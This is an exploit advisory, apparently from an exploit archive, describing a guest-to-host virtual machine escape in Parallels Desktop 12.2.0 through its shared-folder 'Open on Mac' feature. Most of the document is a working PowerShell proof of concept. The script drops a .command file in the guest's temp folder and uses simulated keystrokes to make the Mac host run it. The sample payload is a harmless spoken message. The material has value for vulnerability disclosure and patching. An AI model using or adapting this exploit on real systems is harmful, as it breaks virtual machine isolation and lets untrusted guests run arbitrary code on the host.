Parallels Desktop 12.2.0 Virtual Machine Escape

Parallels Desktop version 12.2.0 and below suffer from a vulnerability that allows remote file sharing to be leveraged against the host operating system for arbitrary code execution.


MD5 | 69a4be4fd7692e5549456f998744139a

#[+] Title:A  Parallels Desktop - Virtual Machine Escape
#[+] Product: Parallels
#[+] Vendor: http://www.parallels.com/products/desktop/
#[+] Affected Versions: All Version
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# Author : Mohammad Reza Espargham
# Linkedin : https://ir.linkedin.com/in/rezasp
# E-Mail : me[at]reza[dot]es , reza.espargham[at]gmail[dot]com
# Website : www.reza.es
# Twitter : https://twitter.com/rezesp
# FaceBook : https://www.facebook.com/reza.espargham
# Github : github.com/rezasp
#
#
#

#There is a security issue in the shared folder implementation in Parallels Desktop
#DLL : PrlToolsShellExt.dll 10.2.0 (28956)
#prl_tg Driver


#Very simple exploit with powershell
#powershell.exe poc.ps1
#Write OSX Executable file in temp
[io.file]::WriteAllText($env:temp + '\r3z4.command',"Say 'You are hacked by 1337'")


add-type -AssemblyName microsoft.VisualBasic

add-type -AssemblyName System.Windows.Forms

#open temp in explorer
explorer $env:temp

#wait for 500 miliseconds
start-sleep -Milliseconds 500

#select Temp active window
[Microsoft.VisualBasic.Interaction]::AppActivate("Temp")

#find r3z4.command file
[System.Windows.Forms.SendKeys]::SendWait("r3z4")

#right click
[System.Windows.Forms.SendKeys]::SendWait("+({F10})")

#goto "Open on Mac" in menu
[System.Windows.Forms.SendKeys]::SendWait("{DOWN}")
[System.Windows.Forms.SendKeys]::SendWait("{DOWN}")
[System.Windows.Forms.SendKeys]::SendWait("{DOWN}")

#Click Enter
[System.Windows.Forms.SendKeys]::SendWait("~")

#Enjoy ;)s

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